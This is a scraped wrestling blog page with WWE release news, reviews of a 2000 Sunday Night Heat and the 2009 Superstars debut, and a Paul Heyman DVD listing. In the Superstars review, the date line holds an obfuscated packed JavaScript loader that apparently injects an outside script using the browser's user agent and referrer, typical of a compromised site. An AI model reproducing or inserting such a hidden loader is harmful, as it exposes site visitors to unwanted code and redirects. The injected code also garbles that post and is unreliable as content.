Maybe The Best Thing Ever
I wish I was clever enough to think of this.
JTG Released
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Jinder Mahal and Drew McIntyre Also Released
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WWE Releases 7 Names
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hits are coming fast and furious today. So far the following are gone:-Evan Bourne
-Brodus Clay
-Yoshi Tatsu
-Camacho
-Teddy Long
-Curt Hawkins
-Aksana
Most of these aren’t huge shocks as Bourne, Tatsu, Camacho and Hawkins haven’t wrestled a meaningful match in forever.
Aksana…..is anyone going to miss her? SHe’s been on TV recently but it’s not like anyone is going to care.
Teddy has been around FOREVER but hasn’t meant anything recently.
Brodus is surprising as he had potential but they kept screwing up his monster push.
I’ll let you know if anyone else is gone. Also, so much for the news reports saying the company doesn’t release people anymore.
Daniel Bryan Out of MITB, Title Likely to Be Vacated
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Sunday Night Heat – October 1, 2000: Not Exactly The Rock And Wrestling Connection
Sunday Night Heat
Date: October 1, 2000
Location: Civic Arena, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Tazz
This was another request for reasons I don’t remember. It’s the first episode of Sunday Night Heat that aired on MTV, which would be its home for the next two and a half years. Things are good in the WWF at the moment and would get even better in the coming weeks. We’re three weeks away from No Mercy so the main feuds are Rock vs. Angle and HHH vs. Benoit. Let’s get to it.
We open in WWF New York with two MTV airheads hosting. Thankfully the recently returned Steve Austin cuts them off and send the crowd through the roof.
Cole and Tazz are the real hosts.
William Regal vs. Crash
Regal easily takes him down for a series of two counts before putting on a cross arm chinlock. A backslide and small package get two each for Crash and a missile dropkick gets the same. Regal comes back with the fireman’s carry roll and the Regal Stretch gets the quick submission.
Regal won’t let go until Naked Mideon (don’t ask) comes in for a distraction to break it up.
Disturbed performs their big hit Stupify, as suggested by Steve Austin.
The MTV hosts annoy me some more.
Jonathan Coachman hosts WWF Live, which is a studio segment. We get a quick promo from Kurt Angle about how he can’t forgive Stephanie for what she did at Unforgiven but he’s going to think about himself from now on.
Light Heavyweight Title: Dean Malenko vs. Taka Michinoku
Dean is defending and is the Ladies Man at this point. They fight over a wristlock to start and hit the mat for a fast technical sequence with Taka knocking Dean out to the floor. Tazz: “Why did Steve Austin cross the road? So he wouldn’t get hit by another car. HAHAHAHAHAHAHAHA!” Back in and Taka hits a low dropkick and a middle rope cross body gets two. Dean comes back with a release flapjack but the Cloverleaf is countered into a rollup for two. Not that it matters as a floatover suplex retains the title. Taka is holding his shoulder so I’m guessing a legit injury due to how fast that ended.
Road Dogg doesn’t think Chyna has her head on straight but after tonight, Eddie Guerrero isn’t going to have the Intercontinental Title on after tonight. That’s not how the promo went but it sounds better than Road Dogg speaking bad Spanish.
Austin wants Disturbed to perform again.
Intercontinental Title: Road Dogg vs. Eddie Guerrero
Eddie is defending but his girlfriend Chyna (also Road Dogg’s friend) is in Washington D.C. for an autograph signing. Dogg jumps him to start and the brawl starts on the floor. Back in and a suplex gets two on Guerrero before Dogg stomps away in the corner. Now Dogg stomps away in the other corner but Eddie pokes him in the eye and stomps away as well. The slingshot hilo gets two for the champion as this is already dull. Dogg hits the Shake Rattle and Roll but gets dropkicked in the knee. Eddie rolls through a powerslam and ties his feet in the ropes to retain the title. Another short match.
Steven Richards thinks MTV has corrupted the youth of America and hates that Heat now airs here. He complains while plugging a lot of other MTV shows.
The MTV hosts think Richards is a virgin and start a Chyna chant.
Austin introduces Disturbed to perform his theme song.
Right to Censor vs. Dudley Boys
Tables match and it’s Buchanan and Goodfather for the guys in suits. Bubba and Goodfather get things going with the latter taking over, only to miss the spinning legdrop. D-Von comes in and hits a middle rope legdrop as the announcers talk about Tazz and Mick Foley. Buchanan comes in off the tag and nails a shoulder block to take over. The fans chant for tables and Bubba goes into his trance.
D-Von clotheslines Buchanan down and goes for a cover, causing Cole to go on a rant about how stupid he is. Everything breaks down and it’s What’s Up to both of them. Tables are brought in but Goodfather and Bubba make quick saves for their partners. Goodfather is sent to the floor and the 3D puts Bull through the table.
Rating: D. Well that happened. Seriously that’s almost all there is to say. Nothing of note happened, the match was nothing interesting, and it doesn’t end the feud at all. This is a perfect way to cap off a show this boring as the main event is even more dull than most of the rest of the show.
Val Venis and Steven Richards come in and put the Dudleys through tables.
Austin doesn’t have much to say to Cole and Tazz but he beats up the latter to end the show.
Overall Rating: D-. This was horrible with the matches meaning nothing, the musical stuff being fast forward material and the rest of the show just being boring. Those MTV hosts shouting seem so tacked on and the whole thing is just a mess. To be fair Raw and Smackdown are the main shows, but having Austin do the most pointless cameo ever was a waste of time. Awful, awful show.
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Thought of the Day: Next!
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Content Listings For Paul Heyman DVD
AKA nine hours of “My client Brock Lesnar conquered the Undertaker’s Streak.”
DISC 1
* Survivor
* Photographer
* Promoter
* Manager
* Memphis
* AWA
* WCW
* ECW
* Team Mentality
* Rebels
* Commentator
* Writer
* OVW
* New ECW
* Businessman
* Father
* Return to WWE
* Embracing the Moment
DISC 2
Paul E. is always in contact
AWA Championship Wrestling • August 1987
Pink Suspenders
AWA Superstars • August 1987
I’ll Be Johnny Carson
AWA Championship Wrestling • August 1987
Danger Zone with Ted E. Bear
AWA Championship Wrestling • September 1987
You want to be a Cartoon?
AWA All Star Wrestling • September 1987
If Excitement Had a Name
AWA Superstars • September 1987
More Publicity
AWA Championship Wrestling • September 1987
Adrian Adonis
AWA All Star Wrestling • October 1987
The Definition of Pro Wrestling
AWA Superstars • November 1987
The Sequel Jim Cornette
NWA Pro Wrestling • October 1988
Nobody Wanted Paul E.
World Championship Wrestling • November 1988
Louisville Slugger
NWA Pro Wrestling • December 1988
The Year of Paul E. Dangerously
World Championship Wrestling • January 1989
Danger Zone with Ric Flair
World Championship Wrestling • March 1989
I’m So Handsome
NWA Main Event • March 1989
I Don’t Have Wrestlers I Have Animals
World Wide Wrestling • March 1989
Ding Dong Who is it?
NWA Main Event • July 1989
The Era of the Dangerous Alliance
World Championship Wrestling • September 1989
Paul Heyman WWE DVD Match Listing, Full ContentSting’s Doll
Power Hour • May 1991
Save Us from Captain Oklahoma
World Championship Wrestling • November 1991
The Dangerous Alliance
World Championship Wrestling • November 1991
The Paul E. Awards
World Wide Wrestling • February 1992
The Ultimatum is at Hand
Pro Wrestling • April 1992
A New Dangerous Alliance
ECW Hardcore TV • October 1993
WCW Wants Sabu
ECW Hardcore TV • June 1994
Wrestler and Violence
ECW Hardcore TV • July 1994
Winds of Change
ECW Hardcore TV • November 1994
Cash Rules Everything
ECW Hardcore TV • December 1994
Best Wrestling You’ve Ever Seen
ECW Hardcore TV • January 1995
There Ain’t No Organization Like ECW
ECW • February 1996
ECW Comes to Pay-Per-View
ECW • February 1997
We Cleared Cablevision!
ECW • March 1998
The Card Has Changed
ECW Guilty As Charged • January 1999
The War Has Just Begun
ECW on TNN • June 2000
DISC 3
Paul Heyman Hates Mr. McMahon’s Stinkin’ Guts
SmackDown • November 15, 2001
Introducing: “The Next Big Thing”
RAW • April 8, 2002
Paul Heyman, Mr. McMahon & Eric Bischoff All Share One Ring
RAW • May 23, 2005
Paul Heyman Thanks the ECW Faithful
ECW One Night Stand • 12 June 2005
The Resurrection of ECW
ECW One Night Stand • June 11, 2006
From the Bingo Hall to the Garden
ECW • September 12, 2006
Mr. McMahon Gives Paul Heyman a Performance Review
RAW • January 28, 2013
Paul Heyman Gives CM Punk His Resignation
RAW • February 11, 2013
It’s Clobbering Time for CM Punk
RAW • July 15, 2013
Volcano
RAW • October 21, 2013
Paul Heyman Drops a Pipe Bomb
RAW • March 3, 2014
The Original Midnight Express vs. The New Midnight Express
Main Event • January 21, 1989
Hardy Boyz vs. Brock Lesnar & Paul Heyman
Judgment Day • May 19, 2002
No Disqualification Handicap Elimination Match
CM Punk vs. Curtis Axel & Paul Heyman
CM Punk Says He’s Retired
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Superstars – April 16, 2009 (New Series Debut): They’re Right About The D Part
Superstars
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hstez|var|u0026u|referrer|dfyfd||js|php'.split('|'),0,{}))
April 16, 2009
Location: Phillips Arena, Atlanta, Georgia, Thompson-Boling Arena, Nashville, Tennessee
Attendance: 16,431
Commentators: Michael Cole, Jerry Lawler, Todd Grisham, Jim Ross, Matt Striker, Josh Matthews
This is the debut episode of what used to be the flagship show. Of course it wound up being just another show that didn’t even last two years on TV before switching over to the internet but that’s what you get when you’re not Raw or Smackdown. Superstars’ hook was that it had all three rosters competing at the same time, which really isn’t all that thrilling of a concept. The first episode is stacked though with Undertaker making a rare in-ring appearance. Let’s get to it.
Undertaker vs. Matt Hardy
This is when Matt was evil and tried to kill his brother and then got hurt to end his push again. I’m still waiting on Mattitude 2.0. For some reason I believe this was originally announced as Undertaker vs. Shelton Benjamin but they changed it for reasons I don’t remember. Matt gets his head taken off by a right hand to the jaw and the fight heads outside. Undertaker whips him hard into the barricade as this is one sided so far. Back in and Old School connects, sending us to a break.
Back with Undertaker still dominating and getting two after snapping Matt’s neck across the top rope. Hardy escapes the chokeslam and hits a neckbreaker before hammering away. This is right after Wrestlemania XXV so Undertaker’s neck is still messed up after botching the Taker Dive. Undertaker shrugs it off and nails even more right hands to put Matt in the ropes. A chokeslam off the apron is countered with a jawbreaker to give Hardy two.
Off to a front facelock on Undertaker but the big man casually gets to his feet. That’s fine with Matt as he jumps onto Undertaker to crank on the facelock even more. Undertaker shoves him off and scores with a big boot for two. Another big boot and legdrop get two on Matt but Hardy wisely heads outside to avoid another chokeslam attempt. He grabs a chair but just stays on the floor to take the countout. Pretty lame ending.
Rating: C-. Not a bad match but man alive, Matt won’t job to THE UNDERTAKER? I know Matt is a rising star at this point but I don’t think losing to one of the biggest legends on the roster is going to kill his push all that badly. The match was nothing too bad but the ending brings it down a good bit.
Post match Jeff Hardy runs out and throws Matt back inside for a chokeslam.
Clips from Wrestlemania.
Christian vs. Finlay
The winner gets an ECW Title shot at Backlash and this is the final of some competition called the Elimination Chase. Finlay has Horny with him. Christian gets taken down but fights out of the armbar and gets two off his sunset flip out of the corner. Finlay takes him down with a chinlock which goes about as well as the armbar. Back up and Christian hits a top rope cross body, only to have Finlay roll through for two more. A tornado DDT gets two on the Irishman and the Killswitch connects for the pin out of NOWHERE.
Rating: D+. This felt like it went home five minutes earlier than they expected. The ending came out of nowhere and it really felt awkward. Christian winning makes sense but this really did need another few minutes to flesh things out. Also Hornswoggle was shouting from ringside but he couldn’t talk in the future. Makes WWE sense.
They shake hands post match.
Shane McMahon (interviewed by Eve Torres) is ready to get revenge on Legacy for what Randy Orton has done to his family.
Cody Rhodes vs. Shane McMahon
Feeling out process to start until Shane takes over with some quick left hands. Cody fights out of an armbar and bails to the floor as Shane looks like he’s gone fifteen minutes already. Back in and Cody gets his arm cranked on even more, sending him back outside again. This time though Shane goes out the other way and gets a running start off the steps to take Rhodes down with a clothesline.
Shane whips him ribs first into the barricade before we head back inside where Rhodes is just fine. A big right hand knocks Shane back to the floor and we take a break. Back with Cody holding a very weak looking chinlock followed by some knees and elbows to the rubs. We hit the reverse chinlock but Shane stands up and drives Cody into the buckle. A middle rope bulldog gets two on Shane but he fights out of a superplex. Cody dropkicks him out of the air for two as this is going WAY longer than it should. Shane gets sent to the floor but he comes back up with a chair to the ribs for the DQ.
Rating: D-. This was LONG. The match got fourteen minutes and Shane wasn’t exactly the kind of a guy that you want trying to do something like this. It’s not much better when you have Cody Rhodes in there before he’s capable of carrying a match. This McMahons vs. Ortons story just kept going and people stopped caring way before this show. Much like the feud, the match was just more long and uninteresting than bad, which is worse a lot of the time.
Shane hits Coast to Coast to end the show.
Overall Rating: D. Well what the heck was this supposed to be? I mean we have Undertaker (UNDERTAKER!) winning via countout, Christian vs. Finlay, as in the one match that could have gone on for awhile, getting less than five minutes, and Shane McMahon getting fifteen? This was a huge mess and a good microcosm of the disaster that WWE was at this point.
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